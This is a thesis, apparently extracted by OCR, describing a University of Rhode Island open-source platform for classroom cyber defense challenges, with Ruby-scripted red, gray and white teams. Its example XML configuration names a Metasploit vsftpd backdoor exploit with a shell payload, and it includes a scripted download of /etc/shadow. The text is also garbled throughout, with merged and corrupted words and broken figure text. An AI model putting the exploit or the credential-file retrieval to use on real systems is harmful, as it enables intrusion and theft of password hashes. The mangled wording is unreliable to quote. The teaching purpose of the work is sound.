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ABSTRACT

Cyber crime and cyber terrorism are a threatéontition's security, economy,
and private citizen welfare. More qualified cybecuarity experts are needed to
combat this issue. Tools need to be provided tec&us in order to teach cyber
security principles and techniques.

Cyber challenges, where groups of students dederetwork and/or data
center against attacks, can be effective motivatiand recruiting tools in high school
and college challenge events. There currentlyigrefieant barriers that contribute to
the scarce use of cyber challenges in high schabtallege curricula. Current cyber
challenge tools suffer from being very hard to agunfe, and/or very expensive,
and/or limited to certain audiences.

The purpose of this thesis was to begin developwiethe Open Cyber
Challenge Platform (OCCP), which is a platformdogating cyber challenges. The
OCCP addresses the problems of other availabler cffadlenges by being readily
available to high schools and colleges, reasortaldenfigure, and by having no or
low software cost and reasonable hardware cosiddiition to the platform, an
example Network Defense scenario was created tisen@CCP which includes a

virtual target network (VTN) from which other sceioa can be built.
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CHAPTER 1: INTRODUCTION

1.1 Statement of Problem

The threats posed by cyber terrorism and cyberechiave been well
documented in the Center For Strategic and Intennat Studies reportSecuring
Cyberspace for the 44th Presider{t$ecuring Cyberspace for the"®residency”,
2008; “Cybersecurity Two Years Later”, 2011) aatHuman Capital Crisis in
Cybersecurity*A Human Capital Crisis in Cybersecurity”, 2010hese reports
clearly expose the ominous threats to the natisesirity, economy, and private
citizen welfare posed by cyber terrorism and cydsane, as well as the alarming lack
of national capacity to defend against them. Carxare highlighted that include a
gross shortage of qualified cyber security profasais in the workforce including
private sector information technology/security, lemforcement, emergency
management, and the military. According to ESG Res$e(Oltsik, 2011), 22% of
mid-market (i.e., 500-1000 employees) and entezrie. 1000 employees or more)
believe that they have a problematic shortagefofmmation security skills within
their IT organizations. The ESG report quotes estias of approximately 100 unfilled
cyber security jobs for every qualified personha workforce. The Bureau of Labor
Statistics (BLS) lists the projected number of ggienings in this field in the near term
as 135,500 and the growth of the field as “muckefahan average” (“Employment
Projections (to 2018)”, 2011).

In order to increase the number of qualified peaplthe workforce, it is

imperative that the U.S. recruit more potential kews into the education pipeline, and
1



that it provide the educators with the proper t@oleach cyber security principles
and techniques. These educational and recruitroets must reflect the fact that
cyber security practice is hands-on, and that tera@ constantly changing.

Cyber challenges, where groups of students dederetwork and/or data
center against attacks, can be effective motivatiand recruiting tools in high school
and college challenge events. However, the usghm®rachallenge environments has
been restricted to a few big cyber challenges sisctBWSA (“CSAW Cybersecurity
Competition”, 2011), CyberPatriot (“CyberPatriaZQ12), the National Collegiate
Cyber Defense ChallengBldtional Collegiate Cyber Defense Challengé12),
DEFCON (“Capture The Flag”, 2012; Cowan, Arnold aBee, and Wright, 2003) and
others, which are not for wide spread use in haftosl and college curricula. They
are typically designed for teams that are alresaipéd or educated to compete
against each other (both offensively and defengjyahd not necessarily to focus on
cyber security concepts in a controlled fashion isvaonducive to teaching and
student assessment. Furthermore, since most clybkemrges are homegrown and
vary widely, there have been very few studies $patifically assess what
characteristics of challenge environments are g¥edor high school, college, and
training education (Werther, Zhivich, and Leek, 20Radcliff, 2007; Fanelli and
O'Connor, 2010; Mink and Greifeneder, 2010).

There currently are significant barriers that cdtte to the scarce use of
cyber challenges in high school and college culaicQurrent cyber challenge tools
suffer from being very hard to configure, and/onwexpensive, and/or limited to

certain audiences (e.g. primarily U.S governmetiitiany as is the case with XNet
2



(Hammerstein and May, 2010) and the National CyRaerge (“National Cyber
Range”, 2012). The software and hardware requiréggrfenthe annual collegiate
competitions are often created essentially fromtsbreach time by the host
organization, which is a burdensome undertakingn@ercial solutions like
CyberNEXS software marketed by SAIC (“Cyber Segufitaining: CyberNEXS”,
2012) costs exceed $50,000, with $100,000 for &ulisenfiguration. There is then
another $50,000 for the required hardware, and ahegry expensive yearly software
maintenance contract. These barriers prohibit actethe resources necessary for
widespread use of cyber challenges by high schantscolleges.

Another issue is that, in all cases, updatesateessential for keeping the
challenges current with emerging cyber threatsraavad to students are only available
if the organization that owns it has the resoutoagodate it. This is a substantial

burden and can mean that the cyber challengedajet s

1.2 URI OCCP Goals

The University of Rhode Island Open Cyber ChalieRtatform project is
funded by the National Science Foundation andiisgogeveloped by the Digital
Forensics and Cyber Security Center’s researchpgifhis project seeks to increase
the number of qualified students entering the falflinformation assurance, cyber
security, and digital forensics, and to broadly@&ase the capacity of U.S. higher
education to produce professionals in these fiejdsreating a free, open-source cyber
challenge software platform (OCCP) and accompangthgational materials. This

OCCP environment is a controlled teaching and ass&st environment where
3



students defend against known attacks orchestiafgeddagogically sound scenarios.
The specific goals of the URI OCCP are:

e Create a platform that is configurable to a cofgtbenvironment that focuses
on teaching and assessing studenspgatificinformation assurance, cyber
security, and digital forensics concepts.

e Create a platform that is itself free, and is atsasonable in terms of cost of
required hardware, and in terms of required tecinistallation and
maintenance expertise.

e Create a platform that facilitates additions angtesions by the educational

community.

1.2.1 ThesisGoals

The scope of this thesis was limited to buildingretotype of the Open Cyber
Challenge Platform that it is capable of runningedawork Defense challenge. This
was done by establishing a proof of concept inclgdiocumentation, design, and a
reference implementation.

In order to be usable by high schools and colleiipesOQCCP prototype
resulting from this thesis needed to meet the requents in the following sections.
The ability of the OCCP prototype to meet thesaiiregnents was the criteria used to

evaluate this thesis.



1.2.1.1 Softwareisfreeor low cost
The cost of software should be free or as lowassiple. In order to reduce the

cost, open source software will be used when plesgg. Linux).

1.2.1.2 Hardware cost isreasonable
The hardware cost should be low enough for a bafjiilool or college to be able

to afford.

1.2.1.3 Scenarios are configurable
Scenarios should be configurable so that charge$®e made to existing

scenarios and new scenarios can be created.

1.2.1.4 Easeof use

The documentation to configure a scenario shoeldasy to follow and the
number of files to change or run should be minirak level of expertise required to
configure a scenario should be at the level ofga Bchool or college cyber security

instructor.



CHAPTER 2: BACKGROUND

This chapter will first provide background on atlegber challenges that
currently exist and why they are not appropriatehigh school or college use. Next, it
will give an overview of the URI OCCP and its compats. Appendix 1 contains a

glossary of terms that may be helpful when reathigythesis.

2.1 Existing Cyber Challenges
The following sections describe the currently grgcyber challenges and
why they are not suitable for high school or caflege. Each of these cyber
challenges has one or more of the following drawbac
e |Itistoo expensive
e |t is difficult to configure

e Itis unavailable for academic use

2.1.1 XNet

XNet (Hammerstein and May, 2010) is a cyber segtirdining and simulation
platform, providing web access to real-time cylBusity events on dynamically
deployed virtual computers and network infrastruetlt is scenario-based with
scenarios such as network defense and insidertshiees made for both teaching and
training allowing instructors to monitor studentiaity. XNet also contains extensive

team communication capabilities. The Carnegie-Melimiversity CERT creators and



supporters of XNet claim that they will implemenodifications for tailored use on a
contracted basis. XNet is primarily available t&ldgovernment agencies and

contractors, and not for widespread academic use.

2.1.2 National Cyber Range

The U.S. Department of Defense has funded Johnkir®pand Lockheed
Martin to develop the National Cyber Range (“Nasib@yber Range”, 2012). It is an
architecture and software tool for a secure, satit@ined testing capability to emulate
realistic large-scale complex networks. It usetiairnetworked environments very
similar to the OCCP that will be developed on fimgject. The NCR is expected to be
available as a fixed platform for use by U.S. Gaweent organizations and

contractors in 2012.

2.1.3 SANS Netwars

Netwars was created by the SANS Institute (“SAN3des Competition”,
2012) as an interactive, Internet-based environdogrdomputer attacks and
analyzing defenses. It, like XNet and the U.S. Cy®&nge, uses a virtual
environment that students attack. It mostly teadffesisive tactics requiring
participants to exploit vulnerabilities, but doess/a modules for system hardening and
digital forensics. It is designed to be accesdibla broad level of participant skill
ranges by being split into separate levels soqpaits may advance through earlier
levels to the level of their expertise. It is aabie as part of the relatively expensive

SANS training curriculum and is not able to be nfiedi or extended.
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2.1.4U. S. Cyber Challenge

The U.S. Cyber Challenge (“U.S. Cyber Challeng€12) holds events and
camps for students (primarily high school studeb&sed omuestghat illustrate
cyber security concepts. Each quest features dacarfor analysis along with a series
of quiz questions. Most quests use simple statifaers like a packet capture, with the
most advanced being a simulated single web sefier Cyber Challenge does not
support real-time assessment, instructor/modenatmritoring, complex

configurations, modifications, or extensibility butside organizations.

2.1.5 National Collegiate Cyber Defense Competition

The NCCDC National Collegiate Cyber Defense Challeng@12) is a yearly
competition among collegiate teams that first coi@pegionally, then nationally.
Each NCCDC cyber challenge is different. Most arit lfor one event by a host
institution using the resources (physical netwaatadccenter, workstations, etc) of the
host institution. The host plants data, leavesenalhilities, etc and replicates this for
each team competing. It is a time and resourceutomg) process that typically has to
be built from scratch by each host. The resultildferm is used for the competition
and not re-used. This design limits the NCCDC ty ¥ew host institutions with the
resources to implement it, and means that its corepis are not available for general

wide-spread educational use in courses.



2.1.6 SAIC CyberNEXS

SAIC markets the CyberNEXS package for cyber chghs (“Cyber Security
Training: CyberNEXS”, 2012). CyberNEXS has avaiéablNetwork Defense (one
team hardens a virtual network with 15 configurahlierabilities), a Capture the
Flag (CTF) (two teams compete to break into thewotbam's virtual network — see
DEFCON description below), and a Digital Forengjasme (a team must find
evidence in a virtual network data center). It @asoring and monitoring engine for
administrators. Pricing for the software exceeds, @30 (approx $100,000 for a useful
configuration)and thenwith an additional cost per participaatd theranother
$50,000 for the required hardwaesd therma very expensive yearly software
maintenance contract. The games have very limbedigurability and depend on

SAIC for updates (of which there were very few {hast year).

2.1.7 Cyber Patriot

CyberPatriot (“CyberPatriot”, 2012) is a yearlyioatl high school cyber
challenge that uses tI8AIC's CyberNEXS software and augments it with
supplemental educational materials to tethehtechnologies used in the challenge.
The real-world scenarios, interactive scoring arahitoring, and the augmentation
with supplemental education materials is very cklosehat isproposed for the URI
OCCP project. However, the CyberPatriot materieddiaited to competitions (not
incorporation into courses) and are dependent@expensive SAIC CyberNEXS

platform, andon SAIC for modifications and new scenarios.



2.1.8 DEFCON Capture TheFlag

The DEFCON CTF game (“Capture The Flag”, 2012; Qoweanold, Beattie,
and Wright, 2003) is both offensive and defensiveequires each team to defend its
own “flag: (data on its server), while trying torogpt the flags os many of the other
teams as possible by leaving its flag as a manke¢he other team's servéy.score
serverperiodically polls the player servers to detectittentity of the flag on each,
andscore the game accordingly. In a typical game,grkagre provided one power
outlet and on&thernet connection. They are handed a referersteraythat has a
server with known workingervices, but also explicitly installed vulneraigs at the
beginning of the game. They must brihgir own tools and documentation. There are
two ways to score points. To scorb@me pointateam’s server must fully satisfy the
score server’s requested interactions and the tefiag musbe intact on their server.
To score amwned pointthe other team's server must be fdillpctional, the attacking
team’s flag must be present on that server, andttaeking team’server must also
be fully functional. The DEFCON challenge is mefamtexperienced cybesecurity
(and hacker) participants, and in fact draws sofitkeobest in the world. The
platform ishardware-based (not virtual) and is meant for foegd competition, not

controlled demonstratioof concepts as is required for educational purposes

2.1.9 Others
There are other unique home-grown cyber challetme3ut, like the ones
listedabove, their platforms are not available for wigeesd use in teaching (or at

least not welpublicized), and presumably not easily sustainaislee each is
10



proprietary (i.e. not open source) to the orgaropnahat created it, and depend on that

organization for updates and support.

2.2 URI OCCP Overview

The following sections give an overview of thefeliént parts of the URI
OCCP. The team names are inspired by military @athtversus blue team exercises
in which attackers are part of the red team andradrs are part of the blue team.
Depending on the type of challenge, these teamsamasist of human players or they

may be scripted.

2.2.1 Virtualization Software

The OCCP will run on virtualization software. Thype of software allows
multiple guest operating systems to operate im&innachines on one physical host
machine. A major advantage of using virtualizasoftware is that hardware
requirements can be reduced by running severalaltimachines on one physical host
machine, instead of having several physical mashiAaother advantage is the ability
to take snapshots, which saves the state of thealimachine. Also, the virtual
networking options allow network traffic to be coolted so that it does not leave the

host machine, which is useful when the traffic aomd exploits.

2.2.2Virtual Target Network (VTN)
The Virtual Target Network represents a home oirtass network that will be

the target of the scenario. It typically considteme or more Linux server virtual
11



machines, Linux workstation virtual machines, amtbal hardware devices such as
firewalls and switches. Figure 1 shows an examp&\WI'N in which a workstation,
file server, and web server are networked throughitch. The switch is connected

through a firewall which would act as the gatewagn outside network.

Firew all

lhll---:- aﬂl'ltch

Waorkstation File Server Web Server

Figure 1 - Example Virtual Target Network

2.2.3 Challenges

There are four types of challenges that the OCGFsupport:
e Network Defense — Players defend a network fronptaat attacks that

attempt to steal or sabotage resources.

12



e Secure Programming — Players write software dedigme&vithstand
scripted attacks.

e Penetration Testing — Players attack a networkguskploits in order
to find security flaws in a network.

e Digital Forensics — Players examine a network afteipted attacks

occur in order to determine what happened.

Since the scope of this thesis is limited to tledwbrk Defense challenge, an

in-depth description of the components of thatipaldr challenge will follow.

2.2.3.1 Scenarios
A scenario on the OCCP is an instance of a onkeofdur challenge types. For
example, a Network Defense scenario could involeakypasswords, timing attacks,

or backdoor attacks.

2.2.3.2 Network Defense: Red Team

The Red Team is an automated script that can eseptn source penetration
testing tool Metasploit ("Penetration Testing Saite/, 2012) to send attacks to the
VTN. If an attack is successful, negative points @arned. Otherwise, no negative

points are earned.

13



2.2.3.3 Network Defense: Gray Team

The Gray Team is also an automated script thatsaeseesources on the VTN
in order to simulate normal traffic (e.g. email ameb page requests) on the network.
If the traffic was successful, positive points aaened. Otherwise, a point penalty is

applied or no positive points are earned, dependimthe circumstances.

2.2.3.4 Network Defense: White Team
The White Team is responsible for starting and@togpthe scenario and
attempts to prevent the players from cheatingsti keeps track of the player's score.

This team is automated by a script and can redcepug from an instructor.

2.2.3.5 Network Defense: Blue Team

The Blue Team consists of a player or team of pawerking to defend the
VTN from impending Red Team attacks while also rtaimng services used by Gray
Team traffic. The Blue Team receives documentéatian describes the network and
provides logon credentials and other informatioedssl by participants to access the
resources of the VTN. The documentation will alsovde goals that need to be
achieved in order to get a good score. A workstaticdual machine is provided to the
Blue Team which will contain a variety of softwaomls that will assist in the

scenario (e.g. a packet sniffer).

14



CHAPTER 3: METHODOL OGY

This section will first describe the implementatwinthe OCCP prototype.
Next, it will show the method of designing, buildirand reconfiguring a working
example Network Defense scenario that runs on thE€®prototype. Finally, it will
describe the experiments that were used to evahoatevell the OCCP prototype

meets the goals of the thesis.

3.1 Develop Open Cyber Challenge Platform Prototype

The main pieces of the OCCP prototype are the Gaaneer, Firewall, and the

VTN. Figure 1 shows how the pieces are networkgdtteer.

AN

pfSense Firawall

Simulated Internet

Figure 2 - OCCP Network Diagram

3.1.1 Game Server
The Game Server is the virtual machine that castall of the components for
controlling and running a scenario. There are teoegts written in Ruby ("Ruby

Programming Language”, 2013) that control the Wh#am, Red Team, and Gray
15



Team. An XML scenario configuration file holds aflthe details of a scenario which
includes White Team scoring, Red Team attacks Gmag Team traffic.

Red Team attacks can consist of executing eitretagfploit modules or user-
defined Bash scripts. The attacks have configurnabiet values, configurable timing
intervals, and run in a specified order. The Redni &eeps track of the sum of Red
points earned and the sum of Red points possible pbint value for each Red attack
should be either a negative value or zero.

Gray Team traffic can consist of running SSH comasaniploading or
downloading files via SFTP, requesting web pagad#i TP, or executing user-
defined Bash scripts. Each instance of traffidi@ $cenario configuration file has a
point value, runs in a separate thread, and rep¢atspecified interval until the end
time of the scenario has been reached. The Graykeaps track of the sum of Gray
points earned and the sum of Gray points possilhle.point value for each instance
of traffic should be either a positive value oradf ssh, sftp, or web page traffic is
not working, a hint email can be sent to an accquiated in the scenario
configuration file, that is accessible to the Bplayer that indicates which service
needs to be fixed. This email is sent from an antthat is also specified in the
scenario configuration file.

The White Team polls the Red and Gray Teams for tespective points
earned and points possible. The scenario configuréite allows for a score interval
which is the amount of time between score upd#tasso allows for configurable
weights for the Gray and Red Teams. The weigheittver of these teams must be in

the range of 0.0 to 1.0 and together they mustgoimo 1.0. The scores at a given
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point in time are computed using percentage oftpaarned out of possible points.
These following functions are used:

o Attack Defense Score = (1 - (Total Red Earned Allieed Possible)) * 100

e Services Score = (Total Gray Earned / Total Gragsibe) * 100

e Overall Score = Red Weight * Attack Defense Scofera&y Weight * Services

Score

The Attack Defense Score is the percentage oftivegaoints avoided, the
Services Score is the percentage of positive poausived, and the Overall Score
combines the Attack Defense Score and Servicee®goapplying the Red and Gray
weight values. These scoring formulas were chogseause they are simple to
implement and understand. The goal of this thesais tw establish a proof of concept,

but finding the ideal scoring formula was out afstope.

3.1.2 Firewall

The pfSense ("pfSense Open Source Firewall Digioh", 2013) firewall
virtual machine connects the Game Server to the MiThas an external WAN
interface and an internal LAN interface. The WANenriace has a subnet of 0.0.0.0/1
which includes the IP address range 0.0.0.0 thrdi2gh255.255.255. Additionally, an
alias called WAN2 was created that has a subn&2810.0.0/1 which includes the IP
address range 128.0.0.0 through 255.255.255.2%%h @ahese subnets contains half
of all possible IP addresses. The reason for shiecause the Game Server can

optionally send certain types of attacks and teffom random IP addresses in order
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to simulate the Internet. The smallest subnetpfa¢nse allows to be configured on
an interface is /1 (128.0.0.0), so any rule thatgpally affects the WAN interface
would need to be duplicated and applied to the WANES also. The LAN interface is

configured by an instructor and would likely betlve same subnet as the VTN.

3.2 Design a Networ k Defense Scenario
A design of a Network Defense scenario requirestéps in the following

sections, but not necessarily in this order.

3.2.1 Choose Topic Goals
During this step, the instructor comes up withdeghat the scenario should

test the player on. An example would be configuarfgewall.

3.2.2 Choose Red Attacks and Vulnerable Software

This step involves choosing the exploits that Wdlin use during the scenario,
including the vulnerable software that will be tagget of the exploits. Metasploit has
many modules available to choose from. Once tlaelattare chosen, they are put into

the scenario configuration file.

3.2.3Choosea Target (VTN)
For this step, the machines that will be parhef¥ TN are chosen. For
example, there may be a web server, an email sangea workstation for the Blue

Team.
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3.2.4 Create Content for VTN
In this step, the content for the virtual machimethe VTN is created. Web
pages, files, and databases are examples of cdh&grttan be the target of traffic or

attacks.

3.2.5 Choose Gray Traffic
This step involves choosing the Gray traffic twdt be accessing resources on
the VTN. Examples are making web page requestsamding emails. Once the

traffic is chosen, it is put into the scenario eguafation file.

3.2.6 Provide Documentation for Players

During this step, the instructor would create enseio briefing that gives
background on the scenario as well as goals teaehiThis would usually entail
maintaining availability and integrity of speciervices and resources while keeping

out intruders.

3.2.7 Test Design
In this step, the instructor tests the configuatdcks and traffic that are to be
used during the scenario. Ideally, each attackirstdnce of traffic would be tested

one at a time to ensure that each behaves as egpect
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3.3 Build a Network Defense Scenario

Section 3.3.1 will go through the steps requiredcfeating a new scenario
using the OCCP prototype. Next, section 3.3.2 pvitivide the instructions for starting
a scenario once it is configured. The instructouldstart by downloading a package
containing the Game Server, Firewall, and OCCPSkistructions. The complete

OCCP Setup Instructions document is in Appendix 2.

3.3.1 Starting from Scratch

The Game Server and Firewall will be availablenfrihhe start and require
limited configuration by the instructor. On the Ga®erver, the minimum
configuration required is the creation of the XMtemario configuration file. In most
cases, the instructor will want to create sevevaimand files as well. Command files
are text files that contain a list of commandsdderminal session to execute. Each
line in the file contains a separate command aay thn in order from top to bottom
with a one second delay between commands. Theseisesre opened by either a
Metasploit attack or SSH traffic. The instructoryr@dso wish to create Bash scripts
for the Red or Gray Team to use. The scenario gordtion file, command files, and
Bash scripts can be created and edited with aetéitdr directly on the Game Server,
or they can be created on the host machine aneadaper to the Game Server.

Also, the Firewall requires the LAN interface todmnfigured. Usually, it
would be placed in the same subnet as the otheaVimachines in the VTN. The

instructor can follow the pfSense documentatiortlics task.
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The instructor needs to decide what topics thgeplavill be tested on during
the scenario. These topics will help determinesttt@cks that will come from the Red
Team as well as the Gray Team traffic. The instnucteates the scenario
configuration file and follows the OCCP Setup Instions to fill in the specific
attacks and traffic with the necessary informatibime XML scenario configuration
file is described with more detail in section 3.4.

The instructor will decide what types of machimel be in the VTN. There
would likely be one or more Linux servers and auxinvorkstation for the Blue Team
to work from. The virtual machines would either dé¢e have new operating systems
installed and configured by the instructor, oriti&ructor could use existing virtual
machines that already have operating systems. 8edtused by services (e.g. Apache
web server and Postfix email server) will also neeble installed and configured. The
VTN virtual machines will need to be networked tibgge, and the simplest way to do
this is by having them all be in the same subnle¢ ifistructor will need to understand
networking in order to do this task.

Content would need to be created by the instrdotaihe virtual machines.

For example, web pages would need to be createalvi@mb server to host, and if there
is a database it would need to be populated with. d#ser accounts also need to be
set up for SSH and SFTP traffic to log in withthése services are to be used.

The Blue Team should have a workstation virtuatim@e created for them
and it should contain software tools that will h#tipm succeed during the scenario.
Useful tools include packet sniffers, network monitg software, SSH and SFTP

clients, and a firewall. The Blue Team should d&sasupplied with documentation
21



that describes the specific goals they need to memtier for them to get a high
score. For example, they can be required to keepvéb service running while also
shutting down vulnerable services. The documemagiwuld also give background
information about the tools available for the Bltsam as well as provide credentials
they need in order to log in to virtual machinesocess resources (e.g. an email

account).

3.3.2 Running a Scenario

In order to run an existing scenario, very fewpstare needed. First, the
instructor powers on the virtual machines and logs the Game Server. Then, the
instructor opens a terminal and navigates to th@ @&CP directory, which is
/home/user/OCCP by default. Finally, the commamaly occp.rb is executed and the
scenario will start.

If there is an error while parsing the configuratfile, the script will stop and
indicate that required information is missing cerehis a syntax error. Once the errors
are fixed by the instructor, the scenario can beed again.

During the scenario, time stamped event updatkdevprinted to the
terminal. These events are also written to log fdeeated in the Logs directory, which
is located in the main OCCP directory. Figure 3vehavhat the terminal looks like
when a scenario is running. Lines that start withaWé from the White Team, lines
that start with R: are from the Red Team, and lthes start with G: are from the Gray

Team.
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! user@OCCPgameserver: ~/OCCP

Sending email (frank-=>julian).
Running user script ping_script.sh

5 -0400
:26 -8400
6 -0400

L E: « I3 LLITO0S e 1
Requesting web page http://207.63.11.10/index.html

.161

Refreshed token successfully.
Running auxiliary/scanner/ssh/ssh_login from IP address 124.6

Waiting for job to finish...

Running SSH (charlie).
Requesting web page http://2087.63.11.10/shop.html

Requesting web page http://207.63.11.10/testimonials.html

Outgoing IP: 20.234.207.27

Figure 3 - OCCP Events in the Terminal

3.4 Allow for Configurability

The OCCP prototype allows for existing scenariosd@econfigured or allows
for entirely new Network Defense scenarios to leatzd. Section 3.4.1 provides
background on XML, which is the format scenariofaguration files use. Afterwards,
section 3.4.2 gives a simple example of a scemamndiguration file and explains the

different components.

3.4.1 Reading XML
Scenario configuration files are written in XML, Bxtensible Markup

Language. XML allows textual data to be storedriroeganized structure. Elements
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are one type of component used in XML documentsidaly, an element gives a
name to a tag. Tags can contain additional itertsccattributes which are paired
with values. A start tag is formatted like thislereent>. An end tag is formatted like
this: </element>. Elements can have child elemevtigch can also have their own
attribute-value pairs. The following example shdies basic structure:
<element1l attributel="valuel” attribute2="value2”">

<element2 attribute4="value4” attribute5="value5 />
</element1>

The bolded items are elements, the italicizedstane attributes, and the items

in quotes are values.

3.4.2 Under standing the Example Scenario Configuration File

Figure 4 shows the example scenario configurdtienText in light blue are
elements, text in bolded green are attributes textdquoted in pink are values. In the
example scenario, the VTN consists of a singleeseritual machine called
company.com with the IP address 192.168.1.1.rlinging a web server, SSH server,

SFTP server, and an email server.

24



<occp challenge="network_defense” scenario_length="60" score_interval="18" red_weight="_.5"
gray_weight="_.5">

<blue blue_ address="admin@company.com"/>

<gray traffic_wait time="2" random addresses="true" hint_address="hintEcompany.com”

hint_email_server="192.168.1.1">

<traffic type="user_script” interval="5" points="1" timeout="20"
script_name="my_script.sh"/>

<traffic type="web_page" interval="5" points="3"
page="http://www.company.con/index.htnl" defacement_penalty="-1"
mi5_hash="e6ec3Bcc?y4dbc?FbB284f5ethedBeFb™ />

<traffic type="email" interval="8" points="2" server="192_168.1.1"
to_address="john@company.com” from address="bob@company.com"
imap | retr1eue_passunrd="johnpw"f)

{traffic type=' ssh interval="6" points="2" server="192.168.1.1"user="john"

d="7joh C d_file="/home/user/0CCP/GrayTean/commandfile.txt"/>

(traFFlc type=’ sFtp interval="18" points="3" server="192.168.1.1" user="john"
password=""johnpw" action="download" path_to_remote="/etc/shadouw"
path_to local="/home/user/0CCP/GrayTean/shadow" />

</fgray>

<red address="108.1.1.1" metasploit_user="msuser" metasploit_p d="mspw" random addresses="true">
<attack type="user_script” order="1" points="-1" wait time="5" timeout="28§"
file name="my_script2.sh"/>
<attack type="metasploit" order="2" points="-2" wait_time="18" timeout="28">
<module_options exploit_type="exploit"”
exploit="exploit/unix/ftp/fusftpd_234_ backdoor>
<exploit_options PAYLOAD="cmd/unix/interact™ RHOST="192.168.1.1"
CHOST="""/>
<post_exploit command_file="/home/user/0CCP/RedTean/commandfile2. txt"/>
</module_options>
<fattack>

<fred>
<foccp>

Figure 4 - Example Configuration File

The tag containing the occp element containsbaties that affect the White
Team scoring and the scenario as a whole:

¢ challenge — This is the challenge type. Curretitlg,only option is
network_defense.

e scenario_length — This is the amount of time, roses, the scenario will last.

e score_interval — This is the amount of time, inogets, the White Team will
wait between score updates.

e red_weight and gray_weight— These are the weigiiBea to the Attack

Defense Score and Services Score when computimguaerall Score
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The tag with the blue element only contains thebhddress attribute, which
is the email address that the Blue Team playeabesss to. This is the email
account that hint emails will be sent to.

The gray element’s tag contains attributes thatcafhe Gray Team:

e traffic_wait_time — This is the number of seconus Gray Traffic will wait
from the start of the scenario before the Grayfiaatarts.

e random_addresses — This is true if random IP addsegre to be used to send
traffic from. Only web page traffic can use randaduresses.

e hint_address — This is the email account that semdsemails to the Blue
Team’s email account when a service is not working.

e hint_email server — This is the address of the eseaver that will send the

hint emails.

Each tag with the traffic element is an instanceafic, which means that
each will run simultaneously in a separate thr@hese are the attributes:
e type — This indicates the type of traffic. The op8 are user_script, web_page,
email ssh, or sftp.
e interval — This is the time, in seconds, that tiadfit will wait after it runs
before it runs again.
e points — This is the amount of points the traffisniorth every time it succeeds.
e timeout — For user scripts, it is the amount oftjinm seconds, the script is
given to finish executing. No points will be awadder this traffic if this

interval is exceeded.
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script_name — This is the file name of the Basipsto run when the type is
user_script. The files should be placed in
/home/user/OCCP/GrayTeam/user_scripts.

page — For traffic type web_page, it is the URIthaf web page to retrieve.
defacement_penaty — This is an optional negativat penalty to apply if the
web page is defaced.

md5_hash — This is the MD5 hash value of the comebd page. When
checking for defacement, the hash value of théeketd page will be computed
and the defacement_penalty will be applied if thshhvalue does not match
the correct hash value.

server — For traffic types email, ssh, and sftjg ihthe server to connect to.
to_address — For email traffic, this is the emddrass of the recipient.
from_address — For email traffic, this is the seisdemail address.
imap_retrieve_password — Email traffic can optibnbé retrieved via the
IMAP service and this provides the password ofetmail recipient’s account.
user and password — The user is the usernamegginkpin with ssh or sftp
traffic and the password is the password for thessFnames.

command_file — For ssh traffic, this is the patith® command file containing
the commands that will execute during the session.

action — When using sftp traffic, the option uplgads the local file on the
Game Server on the remote server and the optiomldad gets a file from the

remote server and puts it on the Game Server.
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Team:

path_to local and path_to_remote — For sftp taffath_to local is the path
to the file on the Game Server and path_to_rensotieel path to the file on the

remote server.

The tag containing the red element contains ate#that affect the Red

address — This is the IP address that the GameSemterface has been
assigned that is not one of the random addresses.

metasploit_user and metasploit_password — Thiseisisername and password
the Red Team uses to access Metasploit.

random_addresses — This is true if random IP addsesre to be used to send
attacks from. Only Metasploit modules that have@ROST option can use
random addresses. The CHOST option is the IP agltliesattack is sent from
and its value will be replaced with a random IPradd when

random_addresses is true.

Each tag with the attack element is a separatekaffde attacks run in order, one

after another, until either they all finish or theenario time limit is reached. These are

the attributes:

e type — This indicates the type of the attack. Tpgoms are metasploit or
user-script.

e order — This is the attack’s position in the ovievadler. The attack with
order 1 goes first, followed by 2, and so on.

e points — This is the point value of the attack ikaarned if it succeeds.
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e wait_time — This is the time, in seconds, the &ttmaits from the end of
the previous attack before starting.

e timeout — This is the amount of time, in seconls,attack is given to
finish executing. No points will be awarded forsthaittack if this interval is
exceeded.

e file_name — This is the file name of the Bash $dopgun when the type is
user_script. The files should be placed in

/home/user/OCCP/RedTeam/user_scripts.

The tags with module_options, exploit_options aastpexploit elements are
only used for Metasploit attacks. The exploit_tgpeibute is the module type of the
exploit (e.g. exploit or auxiliary) and the explaitribute is the name of the specific
exploit. Each attribute in the tag with the explojtions element corresponds to an
option specific to the particular Metasploit modbking used. The tag with the
post_exploit element contains the attribute comméled This is the path to the

command file containing the list of commands tocexe during the session.

3.5 Perform Experiments

The following sections describe the three expenisiéhat were performed in

order to determine whether the goals of this thesie met.
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3.5.1 Experiment 1: Create the First Scenario

The first experiment was to create a working Neknbefense scenario based
on topics from the URI course CSF 432, which IsditNetworks and Systems
Security. This course is currently under developnagid may use the OCCP
prototype as part of the course. The general tapaiswere chosen from the CSF 432
course for the scenario were authenticating peogeteyork security, Internet services
and email, and World Wide Web security.

The purpose of this experiment was to show thaetfeet to create a scenario
using OCCP prototype is reasonable for a cyberrggenstructor. The amount of
time it took to complete this task and number lefsfiedited during the task was
recorded in order to measure the amount of efegqtired. The results of this
experiment are in section 4.1.

An ideal test would have been to have actual cgbeurity instructors use the
OCCP prototype and provide feedback on ease offis® could not be done due to

time constraints.

3.5.2 Experiment 2: Reconfigurethe First Scenario

The next experiment was to reconfigure the exarsgdmario with an
additional CSF 432 topic: controlling and sharingst The purpose of this experiment
was to show that scenarios can be reconfigurediasidow that the effort to do so is
reasonable for a cyber security instructor. Thewamof time it took to complete this

task and number of files edited during the task rgasrded. The results of this
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experiment are in section 4.2. Having cyber segumgtructors reconfigure a scenario

would have been an ideal test, but it could naddree because of time constraints.

3.5.3 Experiment 3: Run Scenario on Workstation Computer

The final experiment was to run the scenario @roestation computer. The
purpose of this experiment was to determine thdvisare and software requirements
for the scenario, in order to show that the harévaard software costs are reasonable.
The amount of memory required, the amount of h#skl sbace required, the cost of
the hardware, and the cost of the software wagdedo The results of this experiment

are in section 4.3.
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CHAPTER 4: FINDINGS

To determine the findings of this thesis, the G&waever, Firewall, and Ruby
scripts were built for the OCCP prototype accordmthe description in section 3.1.
The tests described in section 3.5 were performedfze results are reported in the

following sections.

4.1 Experiment 1 Results: Create the First Scenario

The first Network Defense scenario was designatgube steps that were
described in section 3.2. As described in sectibril3the scenario was built to test
the following topics from the Network and Systenes&ity course (CSF 432):
authenticating people, network security, Intermeviees and email, and World Wide

Web security. The network diagram of the scenarishiown in Figure 5.

Kitten Mittens Server
10.12.2.10

pfSense Arevall
10.12.2.1

Simulated Intemet

Blue Team Workstation
10.12.2.23

Figure 5 - Scenario Network Diagram
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A Blue Team Scenario Briefing was written thatypdes the background of
